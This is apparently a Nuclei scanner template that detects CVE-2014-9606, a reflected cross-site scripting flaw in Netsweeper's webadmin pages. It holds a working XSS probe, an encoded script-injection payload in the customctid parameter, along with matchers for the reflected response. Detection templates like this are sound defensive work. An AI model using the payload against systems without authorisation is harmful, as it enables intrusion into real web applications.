id: CVE-2014-9606

info:
  name: Netsweeper 4.0.8 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: Multiple cross-site scripting vulnerabilities in Netsweeper before 3.1.10, 4.0.x before 4.0.9, and 4.1.x before 4.1.2 allow remote attackers to inject arbitrary web script or HTML via the (1) server parameter to remotereporter/load_logfiles.php, (2) customctid parameter to webadmin/policy/category_table_ajax.php, (3) urllist parameter to webadmin/alert/alert.php, (4) QUERY_STRING to webadmin/ajaxfilemanager/ajax_get_file_listing.php, or (5) PATH_INFO to webadmin/policy/policy_table_ajax.php/.
  reference:
    - https://packetstormsecurity.com/files/download/133034/netsweeper-issues.tgz
    - https://nvd.nist.gov/vuln/detail/CVE-2014-9606
    - http://packetstormsecurity.com/files/133034/Netsweeper-Bypass-XSS-Redirection-SQL-Injection-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2014-9606
    cwe-id: CWE-79
    epss-score: 0.00102
    cpe: cpe:2.3:a:netsweeper:netsweeper:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: netsweeper
    product: netsweeper
  tags: cve2014,netsweeper,xss,packetstorm,cve

http:
  - method: GET
    path:
      - '{{BaseURL}}/webadmin/policy/category_table_ajax.php?customctid=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200